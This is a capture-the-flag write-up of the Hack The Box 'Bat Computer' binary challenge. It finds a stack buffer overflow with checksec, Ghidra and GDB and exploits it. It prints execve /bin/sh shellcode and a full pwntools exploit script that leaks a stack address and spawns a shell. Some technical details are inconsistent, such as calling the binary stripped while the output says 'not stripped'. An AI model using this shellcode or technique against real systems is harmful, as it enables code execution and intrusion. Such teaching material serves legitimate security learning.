Ricky Severino


2021-02-22

Binary Exploitation: HTB Bat Computer Walkthrough

In the next installment of the binary exploitation series, we will go over the Bat Computer Pwn challenge from Hack the Box. I found this challenge to be really fun as it shows the consequences of not practicing simple exploit mitigation techniques.

We start off by running checksec on the binary. Checksec is a tool used to check the properties of a Linux executable such as Relocation Read-Only (RELRO), Non-executable stack (NX), and stack canaries.

$ checksec ./batcomputer
[*] '/home/anon/HTB/PWN/BatComputer/batcomputer'
	Arch:     amd64-64-little
	RELRO:    Partial RELRO
	Stack:    No canary found
	NX:       NX disabled
	PIE:      PIE enabled
	RWX:      Has RWX segments

We can see that the binary only has Partial RELRO and Position Independent Executable (PIE) enabled. No stack canaries were found and Non-Executable (NX) is disabled. We will not go into detail about these mitigations as they deserve their own post in the future. You can find their basic definitions below:

$ file ./batcomputer
./batcomputer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=497abb33ba7b0370d501f173facc947759aa4e22, for GNU/Linux 3.2.0, not stripped

Running the file command on the binary shows that it is stripped, meaning there are no debug symbols present. A stripped binary makes it more difficult to reverse engineer and the main function will be harder to find.

Let us now run the binary to see what it does.

$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 1
It was very hard, but Alfred managed to locate him: 0x7ffce5883f34
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: password123
The password is wrong.
I can't give you access to the BatMobile!

We are given two options, the first option gives us a message along with a memory address. The second options prompts us a for a password and exits if it's incorrect. For a better picture, lets decompile the binary using Ghidra.

Code Analysis

Ghidra: Strings window
Ghidra: Strings window

Because the binary is stripped we cant simply go to the main function. A simple work around is to look at the strings to see if we have encountered them before. In Ghidra, the strings window can be displayed by going to Window > Defined Strings. The screenshot above shows the selected string “Welcome to your Bat Computer.”. Following this string we land on what looks like our main function, FUN_001011ec (this may be different on your computer)

Ghidra: Main function decompiled
Ghidra: Main function decompiled

In order to make analysis easier, the variables have been renamed to better reflect their purpose. One of these variables is user_choice, whose value determines which message/prompt to show the user. On line 18, user_choice is compared with integer 1, and if equal, the memory address of the nav_command buffer is printed using the printf function. If instead user_choice is 2, a password is requested and stored into user_pass using the scanf function. Line 24 clearly shows the password being compared to the string b4tp@$$w0rd!. If the passwords do not match, the program terminates with a call to exit(). If the passwords do match, however, the user is asked to provide their commands, which are then stored within the nav_commands buffer, the same buffer whose address was printed in option 1. The string “Roger that!” is printed and the function loops back to the beginning. If user_choice are neither 1 nor 2, the binary prints a “Too bad” message and returns 0, finishing execution.

There is buffer overflow vulnerability within the read call on line 32. 0x89 (137) bytes are read from standard input into a buffer that is only allocated 76 bytes. This gives us enough space to overwrite the return address. We have to figure out the number of bytes between the start of our navigation commands input and the return address. We can do this using GDB.

Debugging

$ gdb ./batcomputer
GEF for linux ready, type `gef' to start, `gef config' to configure
89 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./batcomputer...
(No debugging symbols found in ./batcomputer)
gef➤
gef➤  r
Starting program: /home/anon/HTB/PWN/BatComputer/batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecae8e in __GI___libc_read (fd=0x0, buf=0x7ffff7f9aa03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
/home/anon/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape sequence '\A'
  res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x00007ffff7f9a980  →  0x00000000fbad208b
$rcx   : 0x00007ffff7ecae8e  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x1
$rsp   : 0x00007fffffffd6d8  →  0x00007ffff7e5d89a  →  <_IO_file_underflow+378> test rax, rax
$rbp   : 0x00007ffff7f9c4a0  →  0x0000000000000000
$rsi   : 0x00007ffff7f9aa03  →  0xf9d6800000000000
$rdi   : 0x0
$rip   : 0x00007ffff7ecae8e  →  0x5a77fffff0003d48 ("H="?)
$r8    : 0x0
$r9    : 0xffffffffffffff80
$r10   : 0x0000555555556069  →  0x4900000000006425 ("%d"?)
$r11   : 0x246
$r12   : 0x00007ffff7f9b6a0  →  0x00000000fbad2887
$r13   : 0x00007ffff7f9b8a0  →  0x0000000000000000
$r14   : 0xd68
$r15   : 0x00007ffff7f9c608  →  0x00007ffff7e5f630  →  <_IO_cleanup+0> push r15
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd6d8│+0x0000: 0x00007ffff7e5d89a  →  <_IO_file_underflow+378> test rax, rax        ← $rsp
0x00007fffffffd6e0│+0x0008: 0x0000000000000000
0x00007fffffffd6e8│+0x0010: 0x0000000200010000
0x00007fffffffd6f0│+0x0018: 0x00007ffff7fa1508  →  0x00007ffff7fa1000  →  0x00007ffff7ddc000  →  0x03010102464c457f
0x00007fffffffd6f8│+0x0020: 0x00007ffff7f9a980  →  0x00000000fbad208b
0x00007fffffffd700│+0x0028: 0x00007ffff7f9c4a0  →  0x0000000000000000
0x00007fffffffd708│+0x0030: 0x0000000000000000
0x00007fffffffd710│+0x0038: 0x00007ffff7f9b4a0  →  0x00007ffff7f976a0  →  0x00007ffff7f67b72  →  0x636d656d5f5f0043 ("C"?)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7ecae88 <read+8>         test   eax, eax
   0x7ffff7ecae8a <read+10>        jne    0x7ffff7ecaea0 <__GI___libc_read+32>
   0x7ffff7ecae8c <read+12>        syscall
 → 0x7ffff7ecae8e <read+14>        cmp    rax, 0xfffffffffffff000
   0x7ffff7ecae94 <read+20>        ja     0x7ffff7ecaef0 <__GI___libc_read+112>
   0x7ffff7ecae96 <read+22>        ret
   0x7ffff7ecae97 <read+23>        nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7ecaea0 <read+32>        sub    rsp, 0x28
   0x7ffff7ecaea4 <read+36>        mov    QWORD PTR [rsp+0x18], rdx
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "batcomputer", stopped 0x7ffff7ecae8e in __GI___libc_read (), reason: SIGINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7ecae8e → __GI___libc_read(fd=0x0, buf=0x7ffff7f9aa03 <_IO_2_1_stdin_+131>, nbytes=0x1)
[#1] 0x7ffff7e5d89a → _IO_new_file_underflow(fp=0x7ffff7f9a980 <_IO_2_1_stdin_>)
[#2] 0x7ffff7e5eb02 → __GI__IO_default_uflow(fp=0x7ffff7f9a980 <_IO_2_1_stdin_>)
[#3] 0x7ffff7e35138 → __vfscanf_internal(s=<optimized out>, format=<optimized out>, argptr=0x7fffffffde50, mode_flags=0x2)
[#4] 0x7ffff7e3418e → __isoc99_scanf(format=<optimized out>)
[#5] 0x555555555241 → mov eax, DWORD PTR [rbp-0x60]
[#6] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)
[#7] 0x5555555550de → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Because the binary is stripped, we can't set a breakpoint on the main function with the command b *main. We first have to run the binary then abort execution with Ctrl+C. At the bottom of the gdb output above, we can see the following line:

[#6] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)

Execution was aborted in the function located at address 0x5555555551ec; this is our main function. Let's set the breakpoint at this address and run the binary again.

gef➤  b *0x5555555551ec
Breakpoint 1 at 0x5555555551ec
gef➤  r
Starting program: /home/anon/HTB/PWN/BatComputer/batcomputer

Breakpoint 1, 0x00005555555551ec in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00005555555551ec  →   push rbp
$rbx   : 0x0
$rcx   : 0x00007ffff7f9a718  →  0x00007ffff7f9cb00  →  0x0000000000000000
$rdx   : 0x00007fffffffe098  →  0x00007fffffffe3bf  →  "SHELL=/bin/bash"
$rsp   : 0x00007fffffffdf98  →  0x00007ffff7e02d0a  →  <__libc_start_main+234> mov edi, eax
$rbp   : 0x0000555555555320  →   endbr64
$rsi   : 0x00007fffffffe088  →  0x00007fffffffe394  →  "/home/anon/HTB/PWN/BatComputer/batcomputer"
$rdi   : 0x1
$rip   : 0x00005555555551ec  →   push rbp
$r8    : 0x0
$r9    : 0x00007ffff7fe2180  →  <_dl_fini+0> push rbp
$r10   : 0x3
$r11   : 0x202
$r12   : 0x00005555555550b0  →   endbr64
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf98│+0x0000: 0x00007ffff7e02d0a  →  <__libc_start_main+234> mov edi, eax  ← $rsp
0x00007fffffffdfa0│+0x0008: 0x00007fffffffe088  →  0x00007fffffffe394  →  "/home/anon/HTB/PWN/BatComputer/batcomputer"
0x00007fffffffdfa8│+0x0010: 0x00000001ffffe379
0x00007fffffffdfb0│+0x0018: 0x00005555555551ec  →   push rbp
0x00007fffffffdfb8│+0x0020: 0x00007ffff7e028e9  →  <init_cacheinfo+569> mov r8, rax
0x00007fffffffdfc0│+0x0028: 0x0000000000000000
0x00007fffffffdfc8│+0x0030: 0x7a403f4a6d97113a
0x00007fffffffdfd0│+0x0038: 0x00005555555550b0  →   endbr64
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555551e9                  nop
   0x5555555551ea                  pop    rbp
   0x5555555551eb                  ret
●→ 0x5555555551ec                  push   rbp
   0x5555555551ed                  mov    rbp, rsp
   0x5555555551f0                  sub    rsp, 0x60
   0x5555555551f4                  mov    eax, 0x0
   0x5555555551f9                  call   0x5555555551a9
   0x5555555551fe                  lea    rax, [rbp-0x60]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "batcomputer", stopped 0x5555555551ec in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551ec → push rbp
[#1] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)
[#2] 0x5555555550de → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/70i $pc
=> 0x5555555551ec:      push   rbp
   0x5555555551ed:      mov    rbp,rsp
   0x5555555551f0:      sub    rsp,0x60
   0x5555555551f4:      mov    eax,0x0
   0x5555555551f9:      call   0x5555555551a9
   0x5555555551fe:      lea    rax,[rbp-0x60]
   0x555555555202:      add    rax,0x4
   0x555555555206:      mov    edx,0x10
   0x55555555520b:      mov    esi,0x0
   0x555555555210:      mov    rdi,rax
   0x555555555213:      call   0x555555555050 <memset@plt>
   0x555555555218:      lea    rdi,[rip+0xde9]        # 0x555555556008
   0x55555555521f:      mov    eax,0x0
   0x555555555224:      call   0x555555555040 <printf@plt>
   0x555555555229:      lea    rax,[rbp-0x60]
   0x55555555522d:      mov    rsi,rax
   0x555555555230:      lea    rdi,[rip+0xe32]        # 0x555555556069
   0x555555555237:      mov    eax,0x0
   0x55555555523c:      call   0x555555555090 <__isoc99_scanf@plt>
   0x555555555241:      mov    eax,DWORD PTR [rbp-0x60]
   0x555555555244:      cmp    eax,0x1
   0x555555555247:      jne    0x555555555267
   0x555555555249:      lea    rax,[rbp-0x60]
   0x55555555524d:      add    rax,0x14
   0x555555555251:      mov    rsi,rax
   0x555555555254:      lea    rdi,[rip+0xe15]        # 0x555555556070
   0x55555555525b:      mov    eax,0x0
   0x555555555260:      call   0x555555555040 <printf@plt>
   0x555555555265:      jmp    0x5555555551fe
   0x555555555267:      mov    eax,DWORD PTR [rbp-0x60]
   0x55555555526a:      cmp    eax,0x2
   0x55555555526d:      jne    0x55555555530d
   0x555555555273:      lea    rdi,[rip+0xe2e]        # 0x5555555560a8
   0x55555555527a:      mov    eax,0x0
   0x55555555527f:      call   0x555555555040 <printf@plt>
   0x555555555284:      lea    rax,[rbp-0x60]
   0x555555555288:      add    rax,0x4
   0x55555555528c:      mov    rsi,rax
   0x55555555528f:      lea    rdi,[rip+0xe3a]        # 0x5555555560d0
   0x555555555296:      mov    eax,0x0
   0x55555555529b:      call   0x555555555090 <__isoc99_scanf@plt>
   0x5555555552a0:      lea    rax,[rbp-0x60]
   0x5555555552a4:      add    rax,0x4
   0x5555555552a8:      lea    rsi,[rip+0xe26]        # 0x5555555560d5
   0x5555555552af:      mov    rdi,rax
   0x5555555552b2:      call   0x555555555070 <strcmp@plt>
   0x5555555552b7:      test   eax,eax
   0x5555555552b9:      je     0x5555555552d1
   0x5555555552bb:      lea    rdi,[rip+0xe26]        # 0x5555555560e8
   0x5555555552c2:      call   0x555555555030 <puts@plt>
   0x5555555552c7:      mov    edi,0x0
   0x5555555552cc:      call   0x5555555550a0 <exit@plt>
   0x5555555552d1:      lea    rdi,[rip+0xe58]        # 0x555555556130
   0x5555555552d8:      mov    eax,0x0
   0x5555555552dd:      call   0x555555555040 <printf@plt>
   0x5555555552e2:      lea    rax,[rbp-0x60]
   0x5555555552e6:      add    rax,0x14
   0x5555555552ea:      mov    edx,0x89
   0x5555555552ef:      mov    rsi,rax
   0x5555555552f2:      mov    edi,0x0
   0x5555555552f7:      call   0x555555555060 <read@plt>
   0x5555555552fc:      lea    rdi,[rip+0xe5e]        # 0x555555556161
   0x555555555303:      call   0x555555555030 <puts@plt>
   0x555555555308:      jmp    0x5555555551fe
   0x55555555530d:      lea    rdi,[rip+0xe5c]        # 0x555555556170
   0x555555555314:      call   0x555555555030 <puts@plt>
   0x555555555319:      mov    eax,0x0
   0x55555555531e:      leave
   0x55555555531f:      ret
   0x555555555320:      endbr64
gef➤

After setting a breakpoint on 0x5555555551ec and executing the binary again, we reach the beginning of main. We then show the next 70 instructions with command x/70i $pc. This helps us find the memory location after the call to read that stores our input into nav_commands. According to the gdb output above, we want to set the breakpoint at this instruction:

0x5555555552fc:      lea    rdi,[rip+0xe5e]        # 0x555555556161

Once we reach this breakpoint the number of bytes between the our input and the return address can be calculated.

gef➤  b *0x5555555552fc
Breakpoint 1 at 0x5555555552fc
gef➤  r
Starting program: /home/anon/HTB/PWN/BatComputer/batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: foobar

Breakpoint 1, 0x00005555555552fc in ?? ()
/home/anon/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape sequence '\'
  res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip()
/home/anon/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape sequence '\A'
  res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x7
$rbx   : 0x0
$rcx   : 0x00007ffff7ecae8e  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x89
$rsp   : 0x00007fffffffdf30  →  0x7074346200000002
$rbp   : 0x00007fffffffdf90  →  0x0000555555555320  →   endbr64
$rsi   : 0x00007fffffffdf44  →  "foobar\n"
$rdi   : 0x0
$rip   : 0x00005555555552fc  →   lea rdi, [rip+0xe5e]        # 0x555555556161
$r8    : 0x0
$r9    : 0x30
$r10   : 0xfffffffffffff285
$r11   : 0x246
$r12   : 0x00005555555550b0  →   endbr64
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf30│+0x0000: 0x7074346200000002   ← $rsp
0x00007fffffffdf38│+0x0008: "@$$w0rd!"
0x00007fffffffdf40│+0x0010: 0x626f6f6600000000
0x00007fffffffdf48│+0x0018: 0x00000000000a7261 ("ar\n"?)
0x00007fffffffdf50│+0x0020: 0x0000555555554040  →  0x0000000400000006
0x00007fffffffdf58│+0x0028: 0x000055555555536d  →   add rbx, 0x1
0x00007fffffffdf60│+0x0030: 0x0000000000000000
0x00007fffffffdf68│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555552ef                  mov    rsi, rax
   0x5555555552f2                  mov    edi, 0x0
   0x5555555552f7                  call   0x555555555060 <read@plt>
●→ 0x5555555552fc                  lea    rdi, [rip+0xe5e]        # 0x555555556161
   0x555555555303                  call   0x555555555030 <puts@plt>
   0x555555555308                  jmp    0x5555555551fe
   0x55555555530d                  lea    rdi, [rip+0xe5c]        # 0x555555556170
   0x555555555314                  call   0x555555555030 <puts@plt>
   0x555555555319                  mov    eax, 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "batcomputer", stopped 0x5555555552fc in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555552fc → lea rdi, [rip+0xe5e]        # 0x555555556161
[#1] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)
[#2] 0x5555555550de → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern foobar
[+] Searching 'foobar' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffdf44 - 0x7fffffffdf4c  →   "foobar\n"
gef➤  i f
Stack level 0, frame at 0x7fffffffdfa0:
 rip = 0x5555555552fc; saved rip = 0x7ffff7e02d0a
 called by frame at 0x7fffffffe070
 Arglist at 0x7fffffffdf28, args:
 Locals at 0x7fffffffdf28, Previous frame's sp is 0x7fffffffdfa0
 Saved registers:
  rbp at 0x7fffffffdf90, rip at 0x7fffffffdf98
gef➤

After setting a breakpoint at 0x5555555552fc, we restart execution. After the menu is displayed, option 2 is chosen and the correct password of b4tp@$$w0rd! is provided. We are then given a prompt to enter our commands; a random command of foobar is entered. After supplying the password, we reach our breakpoint. The navigation command foobar is searched in memory with the command search-pattern foobar; this gives the beginning of our input, 0x7fffffffdf44. We then get the return address with the command info frames or i f for short. The return address is stored in register rip whose value is 0x7fffffffdf44. The number of bytes between the input and return address is 0x7fffffffdf98b – 0x7fffffffdf44 which is 0x54 or 84 bytes.

Exploitation

Next order of business is to decide what to overflow the return address with. Remember how the output of checksec said Non-Executable Stack (NX) was disabled? Well, this is our way forward. Because the stack is executable, this allows us to execute whatever code we provide in the buffer. But wait, how do we redirect execution to the start of our buffer?

$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 1
It was very hard, but Alfred managed to locate him: 0x7ffce5883f34
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: password123
The password is wrong.
I can't give you access to the BatMobile!

At the beginning of this post, the binary gave us a memory address after choosing option 1. Going back to the Code Analysis section, it was deduced that this address is the beginning of our input! This is what the return address will be overflowed with.

Next, we need our shellcode. We can use shellcode provided by shell-storm. We will choose one that executes the command /bin/sh, giving us a shell. The one I am using is from the following: https://shell-storm.org/shellcode/files/shellcode-806.html. The shellcode is as follows:

/*
 * Execute /bin/sh - 27 bytes
 * Dad` <3 baboon
;rdi            0x4005c4 0x4005c4
;rsi            0x7fffffffdf40   0x7fffffffdf40
;rdx            0x0      0x0
;gdb$ x/s $rdi
;0x4005c4:        "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40:  "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00
;
;=> 0x7ffff7aeff20 <execve>:     mov    eax,0x3b
;   0x7ffff7aeff25 <execve+5>:   syscall
;

main:
    ;mov rbx, 0x68732f6e69622f2f
    ;mov rbx, 0x68732f6e69622fff
    ;shr rbx, 0x8
    ;mov rax, 0xdeadbeefcafe1dea
    ;mov rbx, 0xdeadbeefcafe1dea
    ;mov rcx, 0xdeadbeefcafe1dea
    ;mov rdx, 0xdeadbeefcafe1dea
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    ;mov rdi, rsp
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    ;mov rsi, rsp
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
 */

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

Lets look at the decompiled code one more time…

Ghidra: Main function decompiled
Ghidra: Main function decompiled

After supplying the correct password and giving our input, the binary exits with a call to exit at line 28. This means the return address will not be reached, and therefore, the shellcode will not execute. We need to take advantage of the loop and provide an incorrect option when the menu is shown again. This ensures that we reach the return at line 35.

To write the exploit, I will use Python with Pwntools, an exploit development framework.

from pwn import *

# connect to remote process via netcat
target = process("nc")
target.sendline("[IP ADDRESS] [PORT]")

print target.recvuntil("> ")
target.sendline("1")

# grab the infoleak after choosing option 1
leak = target.recvline()
leak = leak.strip("It was very hard, but Alfred managed to locate him: ")

# convert infoleak to int
shellcode_addr = int(leak, 16)

# proceed with option 2 and provide password
print target.recvuntil("> ")
target.sendline("2")
print target.recvuntil("password: ")
target.sendline("b4tp@$$w0rd!")
print target.recvuntil("commands: ")

# construct our payload
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = ""
shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += "0"*(84-len(shellcode))
shellcode += p64(shellcode_addr)

# send our shellcode and overflow that buffer
target.sendline(shellcode)

# send invalid option to reach the return
target.recvuntil("> ")
target.sendline("3")

# spawn shell
target.interactive()

Of course, [IP ADDRESS] and [PORT] will be replaced with whatever address and port HackTheBox gives us when we start an instance. Lets run our exploit:

$ python exploit.py
[+] Starting local process '/usr/bin/nc' [pid 81055]
Cmd line: Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
>
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
Ok. Let's do this. Enter the password:
Access Granted.
Enter the navigation commands:
[*] Switching to interactive mode
Too bad, now who's gonna save Gotham? Alfred?
$
$ ls -l
total 20
-rwxr-xr-x 1 root root  14384 Oct  28  10:11 batcomputer
-rw-r--r-- 1 root root   220  Oct  28  10:11 flag.txt

We successfully exploited the buffer overflow and got code execution!